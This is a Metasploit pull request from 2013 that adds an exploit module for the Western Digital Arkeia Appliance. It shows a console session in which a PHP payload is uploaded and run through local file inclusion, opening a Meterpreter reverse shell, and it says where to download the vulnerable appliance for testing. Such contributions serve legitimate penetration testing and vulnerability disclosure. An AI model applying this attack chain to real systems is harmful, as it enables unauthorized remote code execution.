rapid7/metasploit-framework — pull request #2381 by xistence (2013-09-17 07:01:10+00:00)
Title: added WD Arkeia Appliance RCE

Western Digital Arkeia Appliance v10.0.10 RCE

msf > use exploit/unix/webapp/arkeia_upload_exec
msf exploit(arkeia_upload_exec) > set RHOST 192.168.2.136
RHOST => 192.168.2.136
msf exploit(arkeia_upload_exec) > exploit

[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.136:80 - Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate
[*] 192.168.2.136:80 - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate
[*] Sending stage (39195 bytes) to 192.168.2.136
[*] Meterpreter session 1 opened (192.168.2.22:4444 -> 192.168.2.136:47952) at 2013-09-17 13:59:37 +0700

meterpreter >

To test. Download ftp://ftp.arkeia.com/arkeia-virtual-appliance/vmware-virtual-appliance/full-virtual-appliance/arkeia_virtual_appliance-10.0.10.zip and deploy it on f.e. ESXi.